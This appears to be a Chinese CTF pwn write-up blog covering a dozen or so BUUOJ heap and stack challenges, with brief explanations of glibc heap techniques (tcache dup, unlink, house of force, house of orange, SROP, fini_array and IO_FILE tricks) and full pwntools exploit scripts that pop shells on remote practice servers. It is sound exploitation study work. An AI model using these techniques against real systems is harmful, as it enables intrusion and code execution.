add(6,0x60,b'a'*(0x13-16)+p64(one_gadget)*2+p64(memalign)+b'a'*70)
p.interactive()

ciscn_2019_es_1

add功能 申请0x18的管理chunk 申请任意大小 size存储在管理chunk +8 然后输入name 存储在chunk中 然后输入compary call (call存储在管理数组中 而不存储在堆中)

有管理数组 一个chunk用3*8字节管理

0x0 : ptr 8

0x8: size 4

0xC: call 0xC 最后会被强制赋值空字节

show 输出name 和 phone

call 会free掉chunk 但是没有归零

libc2.27 的 tcachebin暂时没有引入key进行double free检查

甚至不检查取出的tcache的size字段 同时没有申请16对齐的检查

总体上可以说非常随意

先free unsortedbin 泄露libc地址

然后打tcachebin到 __free_hook 劫持为system


└─# cat exp.py
from pwn import *
#p = process('./ciscn_2019_es_1')
p = remote('node5.buuoj.cn',25485)
def menu(index):
p.sendlineafter(b'choice:',str(index).encode('l1'))

def add(size,name):
menu(1)
p.sendlineafter(b'Please input the size of compary\'s name',str(size).encode('l1'))
p.sendafter(b'please input name:',name)
p.sendafter(b'compary call',b'1111')
def show(index):
menu(2)
p.sendlineafter(b'Please input the index:',str(index).encode('l1'))
p.recvuntil(b'name:\n')
return(p.recvline().rstrip(b'\n'))
def delete(index):
menu(3)
p.sendlineafter(b'Please input the index:',str(index).encode('l1'))

add(0x410,b'a') #0
add(0x30,b'a') #1
delete(0)
leak = show(0)
libc_base = u64(leak.ljust(8,b'\x00')) - (0x746a8cfebca0-0x746a8cc00000)
#00000000003ed8e8 __free_hook
#000000000004f440 system
free_hook = libc_base+0x00000000003ed8e8
system = libc_base+0x000000000004f440
delete(1)

delete(1)
delete(1)
add(0x30,p64(free_hook))
add(0x30,'/bin/sh\x00') #3
add(0x30,p64(system))
p.interactive()

ZCTF_2016_note2

这题的漏洞是整数溢出 这也提醒我们即使在很复杂的题也不要忘记最基础的几种漏洞

另外 这题我模仿了高手的python exploit模板


from pwn import *

ip = 'node5.buuoj.cn'
port = 29112
libc_name = '../libcs/libc-2.23_amd64.so'
filename = './note2'
elf = ELF(filename)
libc = ELF(libc_name)
context.binary = filename


ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')
def menu(index):
sla(b'option--->>',str(index).encode('l1'))

def add(size,data):
menu(1)
sla(b'Input the length of the note content:(less than 128)',itob(size))
sla(b'Input the note content:',data)
def dump(index):
menu(2)
sla(b'Input the id of the note:',itob(index))
ru(b'Content is ')
return p.recvline(False)
def edit(index,choice,data):
menu(3)
sla(b'Input the id of the note:',itob(index))
sla(b'do you want to overwrite or append?[1.overwrite/2.append]',itob(choice))
sl(data)
def delete(index):
menu(4)
sla(b'Input the id of the note:',itob(index))
def pwn():
ptr_0 = 0x602120
sl(b'A')
sl(b'a')
add(0x30,b'/bin/sh;'+p64(0x51)+p64(ptr_0-0x18)+p64(ptr_0-0x10)) #0
add(0x0,b'ddd') #1
add(0x79,b'aaa') #2
delete(1)
add(0,b'/bin/sh\x00'+p64(0)+p64(0x50)+p64(0x90)) #3
delete(2)
edit(0,1,b'a'*0x18+p64(elf.sym['got.free']))
free_libc = u64(dump(0).ljust(8,b'\x00'))
libc.address = free_libc - libc.sym['free']
edit(0,1,p64(libc.sym['system'])[:6])
p.interactive()
if __name__ == '__main__':
#p = process(filename)
p = remote(ip,port)
pwn()

ciscn_final_3

绝对的屎 我patchelf半天没pat成功 然后下了个docker 发现发docker的那个人发了个修复的libc2.27 也是很无敌了

然后我就只能远程打了

这题其实house of roman应该可以直接出来 但是这样题目有个gift没用到 。我们的问题是泄露libc很困难,很可能这个就是用来泄露libc的,如果我们能把unsortedbin 的fd指针塞到一个tcachebin里面 再分配出那个地址,就可以泄露libc

那么思路就有了 就是先通过tcachebin dup 污染一个size 使它free掉进入unsortedbin 然后通过上一个块切割的方式使得下一块的tcache的fd指针被覆盖。然后再分配到libc中 后面就很简单了


from pwn import *

ip = 'node5.buuoj.cn'
port = 27604
libc_name = './libc.so.6'
filename = './ciscn_final_3'
elf = ELF(filename)
libc = ELF(libc_name)
context.binary = filename


ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')

def menu(index):
sla(b'choice >',itob(index))

def add(index,size,data):
menu(1)
sla(b'input the index',itob(index))
sla(b'input the size',itob(size))
sa(b'now you can write something',data)
ru(b'gift :')
return p.recvline(False)

def remove(index):
menu(2)
sla(b'input the index',itob(index))
def pwn():
heap_leak=int(add(0,0x78,b'a').decode('l1'),16) #0
heap_start = heap_leak-0x10
add(1,0x18,b'b') #1
for i in range(2,12):
print(add(i,0x78,b'a'))
add(12,0x28,b'd') #12
remove(12)
remove(12)
add(13,0x28,p64(heap_start))
add(14,0x28,p64(heap_start))
add(15,0x28,p64(0)+p64(0x421))
remove(0)
remove(1)
add(16,0x78,b'a')
add(17,0x18,b'f')
libc.address=int(add(18,0x18,b'g').decode('l1'),16)-0x3ebca0
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
remove(5)
remove(5)
add(19,0x78,p64(free_hook))
add(20,0x78,b'/bin/sh\x00')
add(21,0x78,p64(system))
p.interactive()
if __name__ == '__main__':
# p=process(filename)
p = remote(ip,port)
pwn()

ciscn_2019_sw_1

这题利用到了fini.array

x64静态编译程序,劫持fini_array

array[0]覆盖为__libc_csu_fini

array[1]覆盖为另一地址addrA

程序将循环执行addrA

终止条件为array[0]不再为__libc_csu_fini

相当于:
while (array[0] == __libc_csu_fini){
addrA();
}

比如addrA中存在任意写一字节内存漏洞,通过上面这个循环就可以实现任意写多字节

上述引用详解64位静态编译程序的fini_array劫持及ROP攻击 - FreeBuf网络安全行业门户

但是这题只需要用到array[0] 因为我们只需要触发一次array[0] 回到main 就能getshell。

注意这个方法的基础是norelro ,我们也可以反过来推测 norelro时 很大概率要用到这个漏洞。

其他的就没啥好说的了


from pwn import *
context(arch = 'i386', os = 'linux')
ip = 'node5.buuoj.cn'
port = 28852
libc_name = '../../glibc-all-in-one/libs/libc6-i386_2.27-3ubuntu1_amd64/lib32/libc-2.27.so'
filename = './ciscn_2019_sw_1'
elf = ELF(filename)
libc = ELF(libc_name)
context.binary = filename


ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')

def pwn():
printf_got = 0x0804989C
system_plt= 0x80483D0
fini = 0x0804979C
main = 0x08048534
payload = b'%2052c%16$hn%18$hn%31692c%17$hn%356c%15$hn'+b'aa' + p32(fini) + p32(fini+2) + p32(printf_got) + p32(printf_got+2)
print(len(payload))
p.sendline(payload)
p.interactive()
#In [1]: 0x0804 Out[1]: 2052 In [2]: 0x08534 Out[2]: 34100
if __name__ == '__main__':
p=remote(ip,port)
pwn()

gyctf_2020_force

从标题来看就知道是house_of_force 。

但另外 这题还用到一个神奇的技术 。就是通过申请一个很大的堆块,这个堆块会在mmap区域分配,这个区域和libc连续,所以可以泄露libc地址。

首选分配大小0x1ffff0或者0x200000

deepseek是这么解释的 但我不保证正确性
实际的阈值


实际上有两个重要的阈值:

  1. **mmap_threshold**(默认 128KB):

    • 超过此值,malloc _可能_使用 mmap

    • 但仍在堆区尝试首先分配

  2. **DEFAULT_MMAP_THRESHOLD_MAX**(默认 32MB 或 64MB):

    • 当请求大小超过此值时,几乎总是会在 mmap 区域分配

    • 这时才会出现在 libc 之前的低地址区。

house of force的过程就比较简单 ,但是只能在2.27之前使用这个技术,house_of_force就是覆盖topchunk大小 然后申请很大的堆块,分配到目标位置,这里我们分配到malloc_hook。

会发现malloc_hook不能一次one_gadget 故尝试 malloc_hook realloc_hook 结果还是不行

这时候可以尝试一下realloc+0x10 因为realloc函数开始时是有开栈操作的 去掉这个操作再尝试一下可能会有效果。

网络上有些博客说是glibc版本问题,这显然不合理。

from pwn import *
context(arch = 'amd64', os = 'linux')
ip = 'node5.buuoj.cn'
port = 28109
libc_name = '../../glibc-all-in-one/libs/libc6_2.23-0ubuntu11_amd64/lib/x86_64-linux-gnu/libc-2.23.so'
filename = './gyctf_2020_force'
elf = ELF(filename)
libc = ELF(libc_name)
context.binary = filename


ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')

def menu(index):
sla(b'2:puts',itob(index))

def add(size,content):
# overflow!
menu(1)
sla(b'size',itob(size))
ru(b'bin addr ')
leak = int(p.recvline(),16)
sa(b'content',content)
return leak


def pwn():
libc_base = add(0x200000,b'a') - (0x70f6a2fff010-0x70f6a3200000)
print(hex(libc_base))
libc.address = libc_base
heap_leak = add(0x10,p64(0)*3 + p64(0xffffffffffffffff) )-0x10
print(hex(heap_leak))
__malloc_hook = libc.sym['__malloc_hook']
offset = __malloc_hook - heap_leak - 0x20
malloc_size = offset - 0x10 - 0x10 - 0x10
add(malloc_size,b'a'*0x10 )
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
add(0x10,p64(0x4526a +libc_base)*2+p64(libc.sym['realloc']+0x10))#p64(flibc.sym['realloc']+0x10) )
p.interactive()
if __name__ == '__main__':
p=remote(ip,port)
pwn()

rootersctf_2019_srop

几乎是一个标准的srop的模型题,但这题配合上了一个栈迁移

SROP在ctf-wiki上的资料已经寄了,但是可以通过题解和ai来学习,这里我不打算多说。

概括来讲,srop就是基于sigreturn 的 rop 。 sigreturn是sig handler用到的一个独特的函数。handler是程序开发者自己设计的一个用于处理signal的特殊的程序,是在用户态运行的。在进入hanler时 内核首先会把进程上下文存储在用户栈中,退出handler时 则会运行sigreturn,然后再从用户栈中取出进程上下文,handler与进程的栈是共用的,这也是导致srop的一个原因。

这题基本上是标准的srop,我们需要运行/bin/sh,但是一次sigreturn ,由于并不知道栈地址,不可行,所以第一次sigreturn需要跳转到syscall, leave,return 进行对data段写入 同时栈迁移,然后再sigreturn弹出 shell。



from pwn import *

context(arch = 'amd64', os = 'linux')
ip = 'node5.buuoj.cn'
port = 27053
libc_name = '../../glibc-all-in-one/libs/libc6_2.23-0ubuntu11_amd64/lib/x86_64-linux-gnu/libc-2.23.so'
filename = './rootersctf_2019_srop'
elf = ELF(filename)
#libc = ELF(libc_name)
context.binary = filename


ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')

# gadget
pop_rax_sys = 0x401032
syscall = 0x401033
# data
buf = 0x402000
# sigFrame
sigFrame = SigreturnFrame()
sigFrame.rax = 0
sigFrame.rdi = 0
sigFrame.rsi = buf
sigFrame.rdx = 0x100
sigFrame.rbp = buf+0x20
sigFrame.rsp = buf
sigFrame.rip = syscall

def pwn():
payload1 = b'a'*0x80 + p64(0) + p64(pop_rax_sys) +p64(15)+bytes(sigFrame)
sa(b'Hey, can i get some feedback for the CTF?', payload1)
sigFrame2 = SigreturnFrame()
sigFrame2.rax = 59
sigFrame2.rdi = buf
sigFrame2.rsi = 0
sigFrame2.rdx = 0
sigFrame2.rbp = buf+0x20
sigFrame2.rsp = buf
sigFrame2.rip = syscall
payload2 = b'/bin/sh\x00' + b'b'*(0x20-len(b'/bin/sh\x00')) + p64(0) + p64(pop_rax_sys) + p64(15) + bytes(sigFrame2)
sleep(0.2)
s(payload2)
p.interactive()
if __name__ == '__main__':
#p = process(filename)
p = remote(ip, port)
pwn()

ciscn_final_2

应该是我实操的第一个IOfile的题,之前有接触过 但是没有实际打过。不过这个IOfile比较基础,并没有比较复杂的覆盖部分,就是单纯的把 stdin 的文件描述符篡改成 flag 的文件描述符

IOfile的结构可以在gdb中看,但是比较吃风水 有时候看不到,不过可以网上搜,这里直接给出_fileno = 0 的偏移是 0x70

然后就是怎么利用,这题我们只能做到部分覆盖,打fastbindup是够的。问题是怎么泄露libc_base,程序开启了pie,无法知道got表位置,那么就考虑用unsortedbin ,问题是我们无法控制malloc大小,因此fastbindup就是来伪造size的。

有这个思路,后面就不是很困难了,就不细说了。


from pwn import *

ip = 'node5.buuoj.cn'
port = 25293
libc_name = '../../glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'
filename = './ciscn_final_2'
elf = ELF(filename)
libc = ELF(libc_name)
context.binary = filename

ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')

def menu(index):
sla(b'which command?\n> ',itob(index))

def add(index,num):
menu(1)
sla(b'TYPE:\n1: int\n2: short int\n>',itob(index))
sla(b'your inode number:',itob(num))

def delete(index):
menu(2)
sla(b'TYPE:\n1: int\n2: short int\n>',itob(index))

def show(index):
menu(3)
sla(b'TYPE:\n1: int\n2: short int\n>', itob(index))
ru(b'inode number :')
leaked_value = int(p.recvline(False), 10)

# 根据类型修正返回值
if index == 1: # 如果是 int 类型(32 位)
leaked_value = leaked_value & 0xFFFFFFFF # 转换为无符号 32 位数
elif index == 2: # 如果是 short 类型(16 位)
leaked_value = leaked_value & 0xFFFF # 转换为无符号 16 位数
return leaked_value

def pwn():
add(1,666)
add(2,666)
add(2,666)
add(2,666)
delete(1)
add(2,666)
delete(2)
add(1,666)
delete(2)
heap_leak = show(2)
heap_target = heap_leak - 0x20*3 - 0x30 - 0x10
add(2,heap_target)
add(2,0)
delete(1) # 为后续打fastbindup做准备
add(2,0x91) # fake chunk
for i in range(7):
delete(1)
add(2,0)
delete(1)
libc_leak = show(1)
print(hex(libc_leak))
stdin_fd = libc_leak + (0xc9deba00 - 0xc9debca0)+0x70
add(2,stdin_fd&0xffff)
add(1,0)
add(1,666)
p.interactive()

if __name__ == '__main__':
#p = process(filename)
p = remote(ip,port)
pwn()


hitcon_2018_children_tcache

虽然题目说是children_tcache 但是 tcache之前还有一步off-one-byte

一般有off-one-byte的情况下,可以伪造prev_size 直接向前合并,或者用how2heap里面缩小第二个chunk 两种方式。 两种有各自的方便之处,对于这题,有个问题是free后 会全部填充垃圾数据,这让第二种方式更加困难,因此考虑第一种方式。

在libc2.28 之前 consolidate不检查size是否相同,可以不用伪造size。

这里伪造prev_size利用了off_by_null反复覆盖的方式。

合并之后就是经典的泄露libc地址然后double_free 打tcache_dup


from pwn import *

ip = 'node5.buuoj.cn'
port = 29423
libc_name = '../../glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'
filename = './hitcon_2018_children_tcache'
elf = ELF(filename)
libc = ELF(libc_name)
context.binary = filename

ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')

def menu(index):
sla(b'Your choice: ',itob(index))

def add(size,data):
menu(1)
sla(b'Size:',itob(size))
sa(b'Data:',data)

def show(index):
menu(2)
sla(b'Index:',itob(index))
return p.recvline(False)

def delete(index):
menu(3)
sla(b'Index:',itob(index))

def pwn():
add(0x500,b'a') # 0
add(0x68,b'a') # 1
add(0x5f0,b'a') # 2
add(0x20,b'/bin/sh\x00') # 3
delete(1)
delete(0)
for i in range(9):
add(0x68-i,b'a'*(0x68-i))
delete(0)
add(0x68, b'a'*0x60+p64(0x580)) #0
delete(2) # consolidate
add(0x500,b'a') # 1
libc_leak = u64(show(0).ljust(8,b'\x00'))
libc_base = libc_leak - (0x7280e03ebca0-0x00007280e0000000)
print(hex(libc_base))
libc.address = libc_base
malloc_hook = libc.sym['__malloc_hook']
og=[0x4f2be,0x4f2c5,0x4f322,0x10a38c]
add(0x68,b'a') #2
delete(2)
delete(0)
add(0x68, p64(malloc_hook)) #0
add(0x68,b'\n') #2
add(0x68, p64(libc_base+og[2]) ) #4
p.interactive()


if __name__ == '__main__':
# p = process(filename)
p = remote(ip,port)
pwn()

这里甚至还不能改__free_hook 因为我们写入的/bin/sh free时会被直接控制。

gyctf_2020_signin

这题目标很明显,要求控制ptr不为0,但是限制很多 ,其中影响较大的就是只能edit一次,显然这一次要用在打tcache 。那么也就是说即使我们分配到了,也无法直接edit ,这让我想到了如果分配到那个位置,还能再free掉,就能重新入链。但是tcache本身有free时size合理性的检查,所以这也不行。

看了网上的wp ,才知道这题利用了一个很偏门的性质,就是在fastbin取出chunk时,fastbin剩下的部分会接到tcache中。

然后calloc又只会从fastbin中取出。

综合上述性质 就可以打通这题了

from pwn import *

context(arch = 'amd64', os = 'linux')
ip = 'node5.buuoj.cn'
port = 25494
libc_name = '../../glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'
filename = './gyctf_2020_signin'
elf = ELF(filename)
libc = ELF(libc_name)
context.binary = filename

ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')

def menu(index):
sla(b'your choice?',itob(index))

def add(index):
menu(1)
sla(b'idx?',itob(index))

def edit(index,content):
menu(2)
sla(b'idx?\n',itob(index))
s(content)

def delete(index):
menu(3)
sla(b'idx?\n',itob(index))

def backdoor():
menu(6)

def pwn():
for i in range(8):
add(i)

for i in range(8):
delete(i)

add(8)
payload = p64(0x4040C0-0x10)
edit(7,payload)
backdoor()
p.interactive()
if __name__ == '__main__':
#p = process(filename)
p = remote(ip,port)
pwn()

zctf_2016_note3

zctf你他妈一个漏洞能一直出题

还就那个size等于0 导致 unsigned无限比较

后面就是unlink

from pwn import *

ip = 'node5.buuoj.cn'
port = 29095
libc_name = '../../glibc-all-in-one/libs/libc6_2.23-0ubuntu11_amd64/lib/x86_64-linux-gnu/libc-2.23.so'
filename = './zctf_2016_note3'
elf = ELF(filename)
libc = ELF(libc_name)
context.binary = filename

ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')

def menu(index):
sla(b'uit\noption--->>', itob(index))

def add(size, content):
menu(1)
sla(b'Input the length of the note content:(less than 1024)', itob(size))
sa(b'Input the note content:',content)

def edit(index, content):
menu(3)
sla(b'Input the id of the note:', itob(index))
sa(b'Input the new content:', content)

def delete(index):
menu(4)
sla(b'Input the id of the note:', itob(index))


def pwn():
add(0x0,b'a\n') #0
add(0x210,b'a\n') #1
add(0xf0,b'a\n') #2
add(0x90,b'/bin/sh\n') #3
add(0x90,b'a\n') #4
add(0x90,b'a\n') #5
add(0x90,b'a\n') #6
add(0x90,b'a\n') #7
ptr = 0x6020C8
edit(0,p64(0)*3+p64(0x221)+ p64(0) + p64(0x210) + p64(0x6020d0-0x18) + p64(0x6020d0-0x10)+b'\n')
edit(0,p64(0)*3+p64(0x221)+ p64(0)+ p64(0x211) + p64(0x6020d0-0x18) + p64(0x6020d0-0x10) + b'a'*(0x210-0x20) + p64(0x210) + b'\n')
delete(2)
edit(1,p64(0)*2 + p64(elf.sym['got.free'])[:7]+b'\n')
puts_plt = 0x400730
edit(0,p64(puts_plt)[:7]+b'\n')
edit(1,p64(0)*2 + p64(elf.sym['got.atoi'])[:7]+b'\n')
delete(0)
p.recvline()
libc_leak = u64(p.recvline(False).ljust(8,b'\x00'))
libc_base = libc_leak - libc.sym['atoi']
libc.address = libc_base
print(hex(libc_base))
system = libc.sym['system']
edit(1,p64(0)*2 + p64(elf.sym['got.free'])[:7]+b'\n')
edit(0,p64(system)[:7]+b'\n')
delete(3)
p.interactive()

if __name__ == '__main__':
#p = process(filename)
p = remote(ip, port)
pwn()

house_of_orange_hitcon

根据网上的wp又做了一下这道题



from pwn import *

ip = 'node5.buuoj.cn'
port = 29752
libc_name = '../../glibc-all-in-one/libs/libc6_2.23-0ubuntu11_amd64/lib/x86_64-linux-gnu/libc-2.23.so'
filename = './houseoforange_hitcon_2016'
elf = ELF(filename)
libc = ELF(libc_name)
context.binary = filename


ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')

def menu(index):
sla(b'Your choice :',itob(index))

def add(size,data):
menu(1)
sla(b'Length of name :',itob(size))
sa(b'Name :',data)
sla(b'Price of Orange',itob(1))
sla(b'Color of Orange',itob(2))

def edit(size,content):
menu(3)
sla(b'Length of name :',itob(size))
sa(b'Name:',content)
sla(b'Price of Orange:',itob(1))
sla(b'Color of Orange:',itob(2))

def delete(index):
menu(2)
sla(b'index:',itob(index))

def show():
sla(b'Your choice',itob(2))
ru(b'Name of house : ')
return p.recvline(False)

def pwn():
add(0x10,b'a')
edit(0x40,b'b'*0x18+p64(0x21)+p64(0x0000000200000001)+p64(0)*2+p64(0xfa1))
add(0x1000,b'c'*8)
add(0x400,b'd'*8)
libc_leak = u64(show()[8:].ljust(8,b'\x00'))
libc_base=libc_leak-0x3c5188
print(hex(libc_base))
libc.address = libc_base
io_list_all = libc.sym['_IO_list_all']
system = libc.sym['system']
edit(0x20,b'e'*0x10)
heap_leak = u64(show()[16:].ljust(8,b'\x00'))
print(hex(heap_leak))
## unsortedbin attack
payload = b'a'*0x400+p64(0)+p64(0x21)+p64(system)+p64(0)
payload +=b'/bin/sh\x00' + p64(0x61) #fake chunk/IOFILE
payload += p64(0) + p64(io_list_all-0x10)
payload += p64(0) + p64(1) # _IO_write_base & _IO_write_ptr
payload += p64(0)*7
payload += p64(heap_leak+0x430) #chain
payload += p64(0)*13
payload += p64(heap_leak + 0x508)
payload += p64(0) + p64(0) + p64(system)
edit(0x1000,payload)

menu(1)
p.send(b'cat /flag')
p.interactive()

if __name__ == '__main__':
# p = process(filename)
p = remote(ip,port)
pwn()



瑞幸首席幸运官lucky: !!!!
瑞幸首席幸运官lucky: 怎么想都想不通
瑞幸首席幸运官lucky: https://www.cnblogs.com/ZIKH26/articles/16712469.html
瑞幸首席幸运官lucky: [图片]
瑞幸首席幸运官lucky: 这里最后那个unsoredbin不是last remainder吗 最后一步申请也只是申请0x20大小 怎么还会归类到smallbin中!
瑞幸首席幸运官lucky: [动画表情]
瑞幸首席幸运官lucky: ! 我知道了!
瑞幸首席幸运官lucky: 我唐完了
瑞幸首席幸运官lucky: [图片]
瑞幸首席幸运官lucky: 原来检测是否是最后一个unsoredbin这么草率!
Y²: hello,hacker!

没话说!

gyctf

wyh集合与图论,下课后,速通一道堆题。

这题给的功能太多了! 有些我都不知道有什么用! 打法我感觉有好多! 但我还就那个 one_gadget 填入 __malloc_hook!

%3$p 泄露rcx 里面有好东西!

from pwn import *

ip = 'node5.buuoj.cn'
port = 26883
libc_name = './../../glibc-all-in-one/libs/libc6_2.23-0ubuntu11_amd64/lib/x86_64-linux-gnu/libc-2.23.so'
filename = './gyctf_2020_some_thing_interesting'
elf = ELF(filename)
libc = ELF(libc_name)
context.binary = filename

ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')
def menu(index):
sla(b'> Now please tell me what you want to do :',itob(index))

def check():
menu(0)
ru(b'OreOOrereOOreO')
leak = int(p.recvline(False),16)
return leak
def add(size1,data1,size2,data2):
menu(1)
sla(b'> O\'s length : ',itob(size1))
sla(b'> O :',data1)
sla(b'> RE\'s length : ',itob(size2))
sla(b'> RE : ',data2)

def edit(index,data1,data2):
menu(2)
sla(b'ID :',itob(index))
sla(b'> O :',data1)
sla(b'> RE :',data2)

def delete(index):
menu(3)
sla(b'ID : ',itob(index))

def pwn():
sla(b'> Input your code please:',b'OreOOrereOOreO%3$p')
libc_base = check() - libc.sym['write'] - 16
print(hex(libc_base))
libc.address = libc_base
target = libc.sym['__malloc_hook'] - 0x23
add(0x60,b'a',0x60,b'a')
delete(1)
edit(1,p64(0),p64(target))
og = [0x45216,0x4526a,0xf02a4,0xf1147]
og = [i+libc_base for i in og]
add(0x60,p64(0),0x60,b'a'*0x13+p64(og[3]))
p.interactive()


if __name__ == '__main__':
#p = process(filename)
p = remote(ip,port)
pwn()

sctf_2019_easy_heap

稍微复杂的题 给了个off-by-null 但是没有show 并且不给覆盖got表,给出了一个可以写shellcode的位置 和 text地址。

由于不给覆盖got表,只能考虑覆盖libc中地址,但是libc地址不知道,这里可以利用unsortedbin的指针和_malloc_hook接近的特性,先构造重叠,然后让unsortedbin和tcache重叠,申请的时候部分覆盖。

这里我发现了一个事情,就是largebin切割下来的unsortedbin 不会成为last_remainder 这很神奇,因为前面house_of_orange貌似它又是last_remainder,不知道这里为什么又不是,同样都是从unsortedbin 进入 largebin 又从largebin切割。但是ai说一般不会设置last_remainder 。

所以申请回来进行部分覆盖的时候,最好是申请等同大小,保证它不会进入largebin,就可以稳定覆盖第一个字节 ,而不是两个字节(导致不确定)。

另外就是要打unlink ,unlink分配到目标位置后写 shellcode

其实第二次可能也可以用tcache 来打? 但是既然它给了指针 很显然要我们打unlink。


from pwn import *

context(arch = 'amd64', os = 'linux')
ip = 'node5.buuoj.cn'
port = 26986
libc_name = '../../glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'
filename = './sctf_2019_easy_heap'
elf = ELF(filename)
libc = ELF(libc_name)
context.binary = filename


ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')

shellcode = asm(shellcraft.sh())
print(shellcode)

def menu(index):
sla(b'>> ',itob(index))

def add(size):
menu(1)
sla(b'Size: ',itob(size))
def delete(index):
menu(2)
sla(b'Index: ',itob(index))
def edit(index,data):
menu(3)
sla(b'Index: ',itob(index))
sa(b'Content:',data)
def pwn():
ru(b'Mmap: ')
mmap = int(p.recvline(),16)
print(hex(mmap))
add(0x410) #0
ru(b'Address ')
ptr = int(p.recvline(),16)
print(hex(ptr))
add(0x18) #1
add(0x4f0) #2
add(0x38) #3
delete(0)
edit(1,p64(0)*2+p64(0x420+0x20))
delete(1)
delete(2)
add(0x410) #0
add(0x510) #1
edit(1,b'\x30\n')
add(0x10) #2
edit(2,p64(0)+b'\n')
add(0x10) #4
add(0x4f0) #5
ptr += 0x30
edit(3,p64(0)+p64(0x31)+p64(ptr-0x18)+p64(ptr-0x10)+p64(0)*2+p64(0x30))
delete(5)
edit(3,p64(0x400)+p64(mmap)+b'\n')
edit(2,shellcode+b'\n')
edit(4,p64(mmap)+b'\n')
p.interactive()

if __name__ == '__main__':
#p = process(filename)
p = remote(ip,port)
pwn()


bcloud_bctf_2016

strcpy导致的堆溢出,直接覆盖topchunksize打house_of_force 。


from pwn import *
context(arch = 'i386',log_level = 'debug')

ip = 'node5.buuoj.cn'
port = 27061
libc_name = '../../glibc-all-in-one/libs/libc6-i386_2.23-0ubuntu11_amd64/lib32/libc-2.23.so'
filename = './bcloud_bctf_2016'
elf = ELF(filename)
libc = ELF(libc_name)
context.binary = filename

ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')
def menu(index):
sla(b'option--->>',itob(index))

def add(size,data):
menu(1)
sla(b'Input the length',itob(size-4))
sla(b'Input the content:',data)

def edit(index,data):
menu(3)
sla(b'Input the id:',itob(index))
sla(b'Input the new content:',data)

def delete(index):
menu(4)
sla(b'Input the id:\n',itob(index))
def pwn():
p.send(b'\xff'*(64*3))
p.recvuntil(b'Hey '+b'\xff'*64)
heap_leak = u32(p.recv(4))
top_chunk = 0x80ed0d8 - 0x80ed008 + heap_leak
target_ptr = 0x0804B120
malloc_size = (target_ptr - (top_chunk+0x8) - 0x8)
print(hex(malloc_size&0xfffffff))
add(malloc_size,b'') # 0
free_got = elf.sym["got.free"]
puts_plt = 0x08048520
atoi_got = elf.sym["got.atoi"]
add(12,p32(free_got)+p32(target_ptr)) #1
add(12,p32(atoi_got)) #2 aoit_got in 4
delete(1)
add(12,p32(free_got)+p32(target_ptr))
edit(0,p32(puts_plt))
delete(4)
libc_leak = u32(p.recv(4))
libc_base = libc_leak - libc.sym['atoi']
print(hex(libc_base))
libc.address = libc_base
edit(0,p32(libc.sym['system']))
add(22,b'/bin/sh')
delete(4)
p.interactive()

if __name__ == '__main__' :
# p = process('./bcloud_bctf_2016')
p = remote(ip,port)
pwn()

asis2016_b00ks

很创新的off_by_null

我不小心写了个非预期解


from pwn import *

ip = 'node5.buuoj.cn'
port = 29034
libc_name = '../../glibc-all-in-one/libs/libc6_2.23-0ubuntu11_amd64/lib/x86_64-linux-gnu/libc-2.23.so'
filename = './b00ks'
elf = ELF(filename)
libc = ELF(libc_name)
context.binary = filename

